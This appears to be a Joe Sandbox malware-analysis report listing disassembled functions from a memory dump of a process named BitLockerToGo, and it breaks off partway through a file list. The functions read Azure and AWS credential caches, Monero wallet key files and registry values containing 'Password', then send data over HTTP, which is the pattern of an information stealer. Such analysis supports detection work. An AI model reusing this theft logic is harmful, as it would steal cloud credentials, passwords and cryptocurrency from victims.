Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: a3f43cb3807ac7276883f2e1416a3a642339a88a318fd0162c9d4cfffd481cd7
Instruction ID: 97859f4711bff82d97acf6eb8de3278984d89fa5de5f79c5bcee75cd5e775894
Opcode Fuzzy Hash: a3f43cb3807ac7276883f2e1416a3a642339a88a318fd0162c9d4cfffd481cd7
Instruction Fuzzy Hash: 9D41D77DA42314ABD714F7B0EC8AFDD3738AB54700F404494B6496E0C5EEF497998B92

Function 03004880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 030047EA
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004801
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004818
Part of subcall function 030047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 03004839
Part of subcall function 030047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 03004849

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 03004915
StrCmpCA.SHLWAPI(?,03554CA0), ref: 0300493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 03004ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,03020DDB,00000000,?,?,00000000,?,",00000000,?,03554DD0), ref: 03004DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 03004E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 03004E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 03004E49
InternetCloseHandle.WININET(00000000), ref: 03004EAD
InternetCloseHandle.WININET(00000000), ref: 03004EC5
HttpOpenRequestA.WININET(00000000,03554DB0,?,03556390,00000000,00000000,00400100,00000000), ref: 03004B15

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

InternetCloseHandle.WININET(00000000), ref: 03004ECF

Strings

", xrefs: 03004D33
", xrefs: 03004BF2
------, xrefs: 03004B28
------, xrefs: 03004C69
------, xrefs: 030049BD

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 7b81a2847e2ba8c142625cb2c26defd3d6c4312ccd9664d17fe6f6af4a98c226
Instruction ID: a129d6c2946f235587a7adf0385b496033d42fa196044e306c69e6f636146acd
Opcode Fuzzy Hash: 7b81a2847e2ba8c142625cb2c26defd3d6c4312ccd9664d17fe6f6af4a98c226
Instruction Fuzzy Hash: 4E122176A13218ABDB15EB90DD91FEEB378BF94210F504199A1067B090EF706F5ACF60

Function 03018320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

RegOpenKeyExA.KERNEL32(00000000,035533D0,00000000,00020019,00000000,030205B6), ref: 030183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 03018426
wsprintfA.USER32 ref: 03018459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0301847B
RegCloseKey.ADVAPI32(00000000), ref: 0301848C
RegCloseKey.ADVAPI32(00000000), ref: 03018499

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Strings

%s\%s, xrefs: 0301844D
?, xrefs: 0301837A
- , xrefs: 030185A3

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 2a08078269c94bfcf3d6cea6767f4bce768cda416974f5eb5f2a568c4e522cd7
Instruction ID: 5a60551030d21f3e5abb70d81e41107d10900eafa3caff6d0fcf847f66569c57
Opcode Fuzzy Hash: 2a08078269c94bfcf3d6cea6767f4bce768cda416974f5eb5f2a568c4e522cd7
Instruction Fuzzy Hash: 84810B759522189BEB24EB50DD94FEEB7B8FB48710F00C699E109A6140DF716B85CFA0

Function 03006280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 030047EA
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004801
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004818
Part of subcall function 030047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 03004839
Part of subcall function 030047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 03004849

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

InternetOpenA.WININET(03020DFE,00000001,00000000,00000000,00000000), ref: 030062E1
StrCmpCA.SHLWAPI(?,03554CA0), ref: 03006303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 03006335
HttpOpenRequestA.WININET(00000000,GET,?,03556390,00000000,00000000,00400100,00000000), ref: 03006385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 030063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 030063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 030063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0300646D
InternetCloseHandle.WININET(00000000), ref: 030064EF
InternetCloseHandle.WININET(00000000), ref: 030064F9
InternetCloseHandle.WININET(00000000), ref: 03006503

Strings

ERROR, xrefs: 030064C9
GET, xrefs: 0300637C
ERROR, xrefs: 03006407

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: 9b29e739940def0c11258315aa6f44cbd95f8833da350ecb980a2c5c1b53a60a
Instruction ID: cc5a9190e6c4ac4539052ece69fc4329236e1c61bbd9224c0a2cd4250553a100
Opcode Fuzzy Hash: 9b29e739940def0c11258315aa6f44cbd95f8833da350ecb980a2c5c1b53a60a
Instruction Fuzzy Hash: 8A715375A42318ABEB14EFA0DC48BDE77B5FB44700F108198F5056B5C4DBB56A85CF50

Function 03015510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 03015644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 030156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 03015857

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 03015228

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 030152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 03015318
Part of subcall function 030152C0: lstrlen.KERNEL32(00000000), ref: 0301532F
Part of subcall function 030152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 03015364
Part of subcall function 030152C0: lstrlen.KERNEL32(00000000), ref: 03015383
Part of subcall function 030152C0: strtok.MSVCRT(00000000,?), ref: 0301539E
Part of subcall function 030152C0: lstrlen.KERNEL32(00000000), ref: 030153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0301578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 03015940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 03015A0C
Sleep.KERNEL32(0000EA60), ref: 03015A1B

Strings

ERROR, xrefs: 0301577D
ERROR, xrefs: 03015932
ERROR, xrefs: 03015849
ERROR, xrefs: 03015693
ERROR, xrefs: 03015636
ERROR, xrefs: 030159FE

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 9d3b88a1461a19245d3a930de1cc257f72a750c2baae0d0883779994820c2a57
Instruction ID: 68b3dd73b6459f043fc1199aa05c04d0e1dcb4dd312b16f840c4056c50374217
Opcode Fuzzy Hash: 9d3b88a1461a19245d3a930de1cc257f72a750c2baae0d0883779994820c2a57
Instruction Fuzzy Hash: 92E1547AA132049BDB18FBA0ED55EED737CAFD4210F408529A4065F184EF746B2ECB91

Function 03001310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 03001327

Part of subcall function 030012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 030012B4
Part of subcall function 030012A0: RtlAllocateHeap.NTDLL(00000000), ref: 030012BB
Part of subcall function 030012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 030012D7
Part of subcall function 030012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 030012F5
Part of subcall function 030012A0: RegCloseKey.ADVAPI32(?), ref: 030012FF

lstrcat.KERNEL32(?,00000000), ref: 0300134F
lstrlen.KERNEL32(?), ref: 0300135C
lstrcat.KERNEL32(?,.keys), ref: 03001377

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 03018B60: GetSystemTime.KERNEL32(?,03549910,030205AE,?,?,?,?,?,?,?,?,?,03004963,?,00000014), ref: 03018B86

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 03001465

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 030099EC
Part of subcall function 030099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 03009A11
Part of subcall function 030099C0: LocalAlloc.KERNEL32(00000040,?), ref: 03009A31
Part of subcall function 030099C0: ReadFile.KERNEL32(000000FF,?,00000000,030102E7,00000000), ref: 03009A5A
Part of subcall function 030099C0: LocalFree.KERNEL32(030102E7), ref: 03009A90
Part of subcall function 030099C0: CloseHandle.KERNEL32(000000FF), ref: 03009A9A

DeleteFileA.KERNEL32(00000000), ref: 030014EF
memset.MSVCRT ref: 03001516

Strings

\Monero\wallet.keys, xrefs: 0300138D
.keys, xrefs: 0300136B
SOFTWARE\monero-project\monero-core, xrefs: 03001335
wallet_path, xrefs: 03001330

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlenmemset$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3885987321-218353709
Opcode ID: 16fe17e15cf90d6ef20c161ff5732733f202542b60886b3f9db9cae7e28e5e22
Instruction ID: 622db946d734bf91fded8eb02cacdf1a4becd55b6f5441fed8056af59e742c0f
Opcode Fuzzy Hash: 16fe17e15cf90d6ef20c161ff5732733f202542b60886b3f9db9cae7e28e5e22
Instruction Fuzzy Hash: 8D5177B5E522189BDB15FB60DD94FED733CAF94200F404198A60A6A081EF705B9ACFA5

Function 030075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 030072D0: memset.MSVCRT ref: 03007314
Part of subcall function 030072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,03007C90), ref: 0300733A
Part of subcall function 030072D0: RegEnumValueA.ADVAPI32(03007C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 030073B1
Part of subcall function 030072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0300740D
Part of subcall function 030072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,03007C90,80000001,030161C4,?,?,?,?,?,03007C90,?), ref: 03007452
Part of subcall function 030072D0: HeapFree.KERNEL32(00000000,?,?,?,?,03007C90,80000001,030161C4,?,?,?,?,?,03007C90,?), ref: 03007459

lstrcat.KERNEL32(35851020,030217FC), ref: 03007606
lstrcat.KERNEL32(35851020,00000000), ref: 03007648
lstrcat.KERNEL32(35851020, : ), ref: 0300765A
lstrcat.KERNEL32(35851020,00000000), ref: 0300768F
lstrcat.KERNEL32(35851020,03021804), ref: 030076A0
lstrcat.KERNEL32(35851020,00000000), ref: 030076D3
lstrcat.KERNEL32(35851020,03021808), ref: 030076ED
task.LIBCPMTD ref: 030076FB

Strings

: , xrefs: 0300764E

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 8d78f00c7a2a17958c1c17b54259fc3aec491349395e6439bb29d12976c227b7
Instruction ID: 9c72c1ef7499f061a70ec3184acaf5d2b7680ebb75ca63f82184f726914beb08
Opcode Fuzzy Hash: 8d78f00c7a2a17958c1c17b54259fc3aec491349395e6439bb29d12976c227b7
Instruction Fuzzy Hash: A9311279942609DFDB04FBE8EC98DFE7779FB88701F108518E102AB284DB34A946CB50

Function 030072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 03007314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,03007C90), ref: 0300733A
RegEnumValueA.ADVAPI32(03007C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 030073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0300740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,03007C90,80000001,030161C4,?,?,?,?,?,03007C90,?), ref: 03007452
HeapFree.KERNEL32(00000000,?,?,?,?,03007C90,80000001,030161C4,?,?,?,?,?,03007C90,?), ref: 03007459

Part of subcall function 03009240: vsprintf_s.MSVCRT ref: 0300925B

task.LIBCPMTD ref: 03007555

Strings

Password, xrefs: 03007401

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
